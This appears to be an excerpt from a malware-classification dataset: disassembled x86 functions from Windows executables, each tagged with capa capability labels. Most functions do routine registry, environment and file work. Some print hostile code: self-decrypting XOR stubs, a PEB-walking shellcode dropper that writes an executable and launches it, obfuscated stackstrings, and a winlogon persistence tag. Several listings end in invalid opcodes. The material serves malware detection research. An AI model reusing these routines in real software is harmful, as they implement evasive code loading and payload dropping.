joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403e57
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
push dword [ebp + 0x1c]
mov edi, dword [ebp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push dword [ebp + 0x18]
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
cmp byte [edi], 0x25
jne 0x403ed4
lea eax, [edi + 1]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x104]
push eax
call fcn.00403093
lea eax, [ebp + eax - 0x105]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_CharPrevA]
cmp byte [eax], 0x25
jne 0x403ebc
and byte [eax], 0
push dword [ebp + 0x1c]
lea eax, [ebp - 0x104]
push dword [ebp + 0x18]
push edi
push dword [ebp + 0x10]
push eax
push 0x4016ec
call esi
pop edi
pop esi
leave
ret 0x18

Function at 0x4041d7
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0xc]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40422c
push esi
push esi
push esi
lea eax, [ebp - 4]
push esi
push eax
push esi
lea eax, [ebp + 8]
push esi
push eax
push esi
push esi
push esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x404223
cmp dword [ebp + 8], esi
jne 0x404223
cmp dword [ebp - 4], esi
jne 0x404223
push 1
pop esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret 8

Function at 0x418d87
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x418d96
pop dword [ebp - 0x1c]
mov eax, 0x5c4599a3
add eax, 0xa3fbf3f3
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x3c828
push 0
mov eax, 0x5bd9294a
sub eax, 0x5b96d82a
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x4852
mov edx, eax
mov ebx, 0x5501559f
add ebx, 0xab41d861
add ebx, dword [ebp - 0x1c]
mov esi, 0xe6bdd8b0
add dword [ebp - 0x10], 0xd96e2f58
mov edi, dword [ebx]
add dword [ebp - 0x14], 0x7a4ed3d5
sub edi, esi
mov dword [edx], edi
xor dword [ebp - 4], ecx
add edx, 0x85f95506
sub edx, 0x85f95502
add ebx, 4
loop 0x418de9
add eax, 0xbe8fdd92
add eax, 0x41713689
mov ebx, eax
add eax, 0x1ab6d9ff
add eax, 0xe5492606
mov ecx, 0x12eb7fb9
sub ecx, 0x12ab7fb9
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x40289d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
mov ebx, ecx
push 0
push ebx
call dword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetEnvironmentVariableW]
mov esi, eax
test esi, esi
jne 0x4028ee
mov eax, dword [section..data]
cmp eax, section..data
je 0x40292c
test byte [eax + 0x1c], 1
je 0x40292c
cmp byte [eax + 0x19], 2
jb 0x40292c
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
push eax
mov eax, dword [section..data]
push ebx
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0xa
pop ecx
call fcn.0040270d
jmp 0x40292c
lea eax, [esi + esi]
push eax
push 0x40
mov dword [ebp - 4], eax
call dword [sym.imp.api_ms_win_core_heap_l2_1_0.dll_LocalAlloc]
mov edi, eax
test edi, edi
jne 0x402933
mov eax, dword [section..data]
cmp eax, section..data
je 0x40292c
test byte [eax + 0x1c], 1
je 0x40292c
cmp byte [eax + 0x19], 2
jb 0x40292c
push dword [ebp - 4]
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0xb
pop ecx
call fcn.0040276e
xor eax, eax
jmp 0x4029ba
push esi
push edi
push ebx
call dword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetEnvironmentVariableW]
mov edx, eax
test edx, edx
jne 0x402977
mov eax, dword [section..data]
cmp eax, section..data
je 0x4029ac
test byte [eax + 0x1c], 1
je 0x4029ac
cmp byte [eax + 0x19], 2
jb 0x4029ac
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
push eax
mov eax, dword [section..data]
push ebx
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0xc
pop ecx
call fcn.0040270d
jmp 0x4029ac
lea eax, [esi - 1]
cmp edx, eax
je 0x4029b8
mov ecx, dword [section..data]
cmp ecx, section..data
je 0x4029ac
test byte [ecx + 0x1c], 1
je 0x4029ac
cmp byte [ecx + 0x19], 2
jb 0x4029ac
lea eax, [esi - 1]
push eax
push edx
push esi
push dword [ecx + 0x14]
push dword [ecx + 0x10]
push 0xd
pop ecx
call fcn.00402796
push edi
call dword [sym.imp.api_ms_win_core_heap_l2_1_0.dll_LocalFree]
jmp 0x40292c
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4029bf
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov ecx, 0x4014a4
mov dword [ebp - 4], edi
call fcn.0040289d
mov esi, eax
mov dword [ebx], esi
test esi, esi
je 0x402a49
mov ecx, edi
xor edi, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x4029e8
sub ecx, edx
lea edx, [esi + 2]
sar ecx, 1
mov ax, word [esi]
add esi, 2
cmp ax, di
jne 0x4029fa
sub esi, edx
sar esi, 1
lea eax, [esi + ecx]
lea esi, [eax*2 + 4]
push esi
push 0x40
call dword [sym.imp.api_ms_win_core_heap_l2_1_0.dll_LocalAlloc]
mov edi, eax
test edi, edi
jne 0x402a50
mov eax, dword [section..data]
cmp eax, section..data
je 0x402a49
test byte [eax + 0x1c], 1
je 0x402a49
cmp byte [eax + 0x19], 2
jb 0x402a49
push esi
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0xe
pop ecx
call fcn.0040276e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 4]
shr esi, 1
mov ecx, edi
mov edx, esi
call fcn.00402430
push 0x4014b0
mov edx, esi
mov ecx, edi
call fcn.00402465
push dword [ebx]
mov edx, esi
mov ecx, edi
call fcn.00402465
push edi
push 0x4014a4
call dword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_SetEnvironmentVariableW]
push edi
call dword [sym.imp.api_ms_win_core_heap_l2_1_0.dll_LocalFree]
xor eax, eax
inc eax
jmp 0x402a4b
Function at 0x4037a8
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push 0x401708
push 0x80000001
mov dword [ebp - 0xc], esi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
mov ebx, 0x40184c
push 4
pop edi
test eax, eax
jne 0x403801
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push 0x401778
push 0x80000001
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x403842
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40403a
Capabilities:
Query or enumerate registry value
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x409070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x218]
mov esi, 0x20019
push eax
push esi
xor ebx, ebx
mov edi, 0x80000002
push ebx
push 0x4019a0
push edi
mov dword [ebp - 0x21c], ebx
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x404137
lea eax, [ebp - 0x220]
mov dword [ebp - 0x220], 4
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x224]
push eax
push ebx
push 0x401a04
push dword [ebp - 0x218]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
push dword [ebp - 0x218]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
cmp dword [ebp - 0x21c], ebx
je 0x404137
lea eax, [ebp - 0x218]
push eax
push esi
push ebx
push 0x401a28
push edi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x404131
lea eax, [ebp - 0x220]
mov dword [ebp - 0x220], 0x208
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x224]
push eax
push ebx
push 0x401a7c
push dword [ebp - 0x218]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0x40411d
cmp word [ebp - 0x210], bx
jne 0x404123
mov dword [ebp - 0x21c], ebx
push dword [ebp - 0x218]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
jmp 0x404137
mov dword [ebp - 0x21c], ebx
push ebx
push 0x401820
call dword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_SetEnvironmentVariableW]
xor edi, edi
inc edi
test eax, eax
jne 0x40415b
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 0xcb
jne 0x4041e3
call fcn.00406e1a
test al, al
je 0x40418d
call dword [sym.imp.ext_ms_win_session_userinit_l1_1_0.dll_IsTSAppCompatOn]
test eax, eax
je 0x40418d
push edi
push edi
push edi
push ebx
push ebx
mov esi, 0x401a9c
push esi
call fcn.00403140
test eax, eax
jne 0x40418d
push edi
push edi
push edi
push edi
push ebx
push esi
call fcn.00403140
cmp dword [ebp - 0x21c], ebx
je 0x4041f4
push ebx
push 3
push ebx
push ebx
push ebx
lea eax, [ebp - 0x210]
push eax
call fcn.00402c20
test eax, eax
jne 0x404244
call fcn.00406e1a
xor ebx, ebx
test al, al
push edi
sete bl
xor esi, esi
push esi
push ebx
push esi
push esi
push 0x4015a0
call fcn.00403140
test eax, eax
jne 0x4041e3
push edi
push esi
push ebx
push edi
push 0x401514
push 0x4015a0
call fcn.00403140
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004071e0
leave
ret
call fcn.00402886
test al, al
jne 0x4041af
mov byte [ebp - 0x211], bl
call fcn.00406ef9
test al, al
je 0x404223
lea eax, [ebp - 0x211]
push eax
call dword [sym.imp.ext_ms_win_session_winsta_l1_1_3.dll_WinStationIsBoundToCacheTerminal]
test eax, eax
mov al, byte [ebp - 0x211]
je 0x404225
mov al, bl
test al, al
jne 0x4041af
call fcn.00406e1a
test al, al
je 0x4041af
call dword [sym.imp.ext_ms_win_session_userinit_l1_1_0.dll_ProcesRemoteSessionInitialCommand]
test al, al
jne 0x4041af
xor eax, eax
jmp 0x4041e5
Function at 0x404666
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push 0x401708
push 0x80000001
mov dword [ebp - 0xc], esi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
mov ebx, 0x401b74
push 4
pop edi
test eax, eax
jne 0x4046bf
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push 0x401708
push 0x80000002
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x404700
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push 0x401778
push 0x80000001
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x404741
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push 0x401778
push 0x80000002
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x404782
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405bf4
Capabilities:
Check if file exists

Disassembly:
push 0x218
mov eax, 0x407ea3
call fcn.00407dce
mov eax, dword [ebp + 8]
xor edi, edi
push ecx
push ecx
push edi
mov edx, 0x104
mov dword [ebp - 0x224], eax
lea ecx, [ebp - 0x218]
mov dword [eax], edi
mov dword [eax + 4], edi
call fcn.004049a7
push 0x401d7c
lea ecx, [ebp - 0x218]
call fcn.00404902
lea eax, [ebp - 0x218]
push eax
push edi
push 0x1f0003
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_OpenSemaphoreW]
mov esi, eax
mov dword [ebp - 0x21c], esi
mov dword [ebp - 4], edi
test esi, esi
jne 0x405c79
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 2
je 0x405cc1
mov ecx, dword [ebp + 4]
mov edx, 0xc9
push 0x401d40
call fcn.004058bc
mov edi, eax
jmp 0x405ca7
lea edx, [ebp - 0x220]
mov dword [ebp - 0x220], edi
mov ecx, esi
call fcn.00405ad8
mov ebx, eax
test ebx, ebx
jns 0x405caf
mov ecx, dword [ebp + 4]
mov edx, 0xcf
push ebx
push 0x401d40
call fcn.0040589f
mov edi, ebx
mov esi, dword [ebp - 0x21c]
jmp 0x405cc1
mov ecx, dword [ebp - 0x224]
mov eax, dword [ebp - 0x220]
cdq
mov dword [ecx], eax
mov dword [ecx + 4], edx
or dword [ebp - 4], 0xffffffff
test esi, esi
je 0x405ccf
push esi
call fcn.00405951
mov eax, edi
call fcn.00407d89
ret 8

Function at 0x40618f
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x14
mov eax, 0x407ed3
call fcn.00407d9a
lea ecx, [ebp - 0x14]
call fcn.00406832
xor esi, esi
mov dword [ebp - 4], esi
push 0x5c
push dword [ebp - 0x14]
call dword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_wcsrchr]
pop ecx
pop ecx
test eax, eax
je 0x406210
add eax, 2
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040687a
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], esi
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], 4
push eax
push esi
push 0x10010
push 0x401e28
push dword [ebp - 0x10]
push 0x80000002
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegGetValueW]
test eax, eax
jne 0x406202
mov esi, dword [ebp - 0x18]
cmp dword [ebp - 0x10], eax
jmp 0x406205
cmp dword [ebp - 0x10], esi
je 0x406210
push dword [ebp - 0x10]
call dword [sym.imp.api_ms_win_core_com_l1_1_0.dll_CoTaskMemFree]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x14], 0
je 0x406223
push dword [ebp - 0x14]
call dword [sym.imp.api_ms_win_core_com_l1_1_0.dll_CoTaskMemFree]
mov eax, esi
call fcn.00407d74
ret
Function at 0x406b6e
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x28]
xor ebx, ebx
push eax
push 0x20019
push ebx
push 0x401708
push 0x80000002
mov dword [edi], ebx
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x406c49
lea eax, [ebp - 0xc]
push eax
push 0x20019
push ebx
push 0x401678
push 0x80000002
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x406c40
mov eax, dword [ebp + 0x24]
mov ebx, dword [ebp + 0x18]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x1c]
push ebx
push esi
push 0x4015a0
push dword [ebp - 0x10]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
jne 0x406c37
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x20]
lea eax, [ebp - 0x14]
push eax
push esi
push 0x40165c
push dword [ebp - 0xc]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
jne 0x406c37
mov eax, dword [ebx]
cmp eax, dword [ebp - 0x14]
jne 0x406c37
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jne 0x406c37
push eax
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x406c37
mov dword [edi], 1
push dword [ebp - 0xc]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
push dword [ebp - 0x10]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0x24
Function at 0x406c52
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x409070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov eax, ecx
mov dword [ebp - 0x38], edx
mov ecx, dword [ebp + 8]
push esi
xor esi, esi
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp + 0xc]
mov ebx, esi
push edi
mov dword [ebp - 0x2c], eax
mov edi, esi
mov dword [ebp - 0x30], ecx
push esi
push esi
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x28], 7
push ecx
push esi
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push edi
push dword [eax + 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegEnumValueW]
test eax, eax
jne 0x406cf0
lea eax, [ebp - 0x14]
push eax
call sub.api_ms_win_crt_private_l1_1_0.dll__o__wtoi
pop ecx
cmp eax, ebx
jle 0x406d00
mov dword [ebp - 0x28], eax
lea ebx, [ebp - 0x14]
lea eax, [ebp - 0x24]
push 7
mov edx, eax
pop ecx
sub ebx, edx
test ecx, ecx
je 0x406cdf
movzx edx, word [ebx + eax]
test dx, dx
je 0x406cdb
mov word [eax], dx
add eax, 2
sub ecx, 1
jne 0x406cc3
test ecx, ecx
jne 0x406ce2
sub eax, 2
xor edx, edx
mov word [eax], dx
test ecx, ecx
je 0x406d0e
mov ebx, dword [ebp - 0x28]
jmp 0x406d00
mov ecx, 0x103
cmp eax, ecx
je 0x406d15
cmp eax, 0xea
jne 0x406d33
inc edi
cmp edi, 0xffffffff
jae 0x406d39
mov eax, dword [ebp - 0x2c]
jmp 0x406c81
mov esi, 0x10a
jmp 0x406d39
test ebx, ebx
je 0x406d37
push dword [ebp - 0x30]
lea eax, [ebp - 0x24]
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push esi
push eax
mov eax, dword [ebp - 0x2c]
push dword [eax + 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
mov esi, eax
jmp 0x406d39
mov esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004071e0
leave
ret 8

Function at 0x40733b
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
cmp edx, esi
je 0x407378
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [edx + 0xc]
jb 0x407371
mov eax, dword [edx + 8]
add eax, dword [edx + 0xc]
cmp ecx, eax
jb 0x40737d
add edx, 0x28
cmp edx, esi
jne 0x407362
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x40737a
Function at 0x425100
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42512d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42512d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x446000
Capabilities:
Accept command line arguments
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports
Terminate process

Disassembly:
call 0x446005
pop ebx
sub ebx, 0x400238
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov edi, dword [edi + 0x1c]
mov edi, dword [edi]
mov edi, dword [edi + 8]
mov dword [ebx + 0x4003c2], edi
mov esi, edi
add esi, dword [esi + 0x3c]
mov esi, dword [esi + 0x78]
add esi, edi
push esi
mov ebp, dword [esi + 0x18]
mov esi, dword [esi + 0x20]
add esi, edi
xor edx, edx
push esi
mov edi, dword [esi]
add edi, dword [ebx + 0x4003c2]
lea esi, [ebx + 0x400387]
mov ecx, 0xf
repe cmpsb byte [esi], byte es:[edi]
jne 0x446057
pop esi
mov edx, esi
pop esi
jmp 0x446068
pop esi
add esi, 4
inc edx
cmp edx, ebp
jb 0x446039
sub esp, 4
jmp 0x446182
sub edx, dword [esi + 0x20]
mov eax, dword [ebx + 0x4003c2]
sub edx, eax
shr edx, 1
add edx, dword [esi + 0x24]
add edx, eax
movzx eax, word [edx]
shl eax, 2
add eax, dword [esi + 0x1c]
add eax, dword [ebx + 0x4003c2]
mov eax, dword [eax]
add eax, dword [ebx + 0x4003c2]
mov edi, eax
mov ebp, esp
mov edx, dword [ebx + 0x4003c2]
lea eax, [ebx + 0x400396]
push eax
push edx
call edi
sub esp, 0x104
push esp
push 0x104
call eax
lea eax, [ebx + 0x4003a3]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
lea ecx, [ebx + 0x4003ac]
push ecx
mov ecx, esp
add ecx, 4
push ecx
call eax
lea eax, [ebx + 0x4003b6]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
mov ecx, esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call eax
mov esi, eax
lea ecx, [ebx + 0x4003ed]
push ecx
push ecx
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
pop ecx
push 0
push ecx
add ecx, 0xa
mov edx, dword [ecx]
push edx
push ecx
mov edx, 0x905a4d
mov dword [ecx], edx
push esi
call eax
lea eax, [ebx + 0x4003d5]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
push esi
call eax
lea eax, [ebx + 0x4003c6]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
sub esp, 0x44
mov edx, esp
mov esi, 0
mov ecx, 0x11
mov dword [edx], esi
add edx, 4
loop 0x446153
mov edx, 0x44
mov dword [esp], edx
sub esp, 0x10
mov edx, esp
push esp
add edx, 0x10
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
add edx, 0x44
push edx
call eax
mov esp, ebp
jmp fcn.00406c40
Function at 0x40614d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48

Function at 0x406172
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
call [eax - 0x3a]
test esp, esp
clc
invalid
call [esi - 0x3a]
test ebp, esp
clc
invalid
dec dword [ecx - 0x3a]
test esi, esp
clc
invalid
invalid
cmp eax, 0xffeb17e8
call dword [edx]
cmp dword [eax - 0x72b7a73], esi
invalid

Function at 0x4065e2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [ebx - 0x7a76f33c]
cld
clc
invalid
and byte [ebp - 0x6f4], 0
and byte [ebp - 0x6f3], 0
mov byte [ebp - 0x6f2], 0x43
and byte [ebp - 0x6f1], 0
mov byte [ebp - 0x6f0], 0xeb
mov byte [ebp - 0x6ef], 0xce
mov byte [ebp - 0x6ee], 0xd5
mov byte [ebp - 0x6ed], 0xc8
mov byte [ebp - 0x6ec], 0xd9
mov byte [ebp - 0x6eb], 0xfa
mov byte [ebp - 0x6ea], 0xd5
mov byte [ebp - 0x6e9], 0xd0
mov byte [ebp - 0x6e8], 0xd9
mov byte [ebp - 0x6e7], 0xbc
call fcn.00404cd4
sahf
loop 0x4065d8
lea eax, [ebp - 0x6f4]
push eax
call fcn.00404ce4
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00404c99
add esp, 0xc
mov dword [ebp - 0x730], eax
and dword [ebp - 0x6fc], 0
push 1
pop eax
test eax, eax
je 0x406d7a
invalid

Function at 0x4069df
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x7a9], 0
mov byte [ebp - 0x7a8], 0x4e
mov byte [ebp - 0x7a7], 0x55
mov byte [ebp - 0x7a6], 0x56
mov byte [ebp - 0x7a5], 0x7e
invalid
invalid
pop esp
clc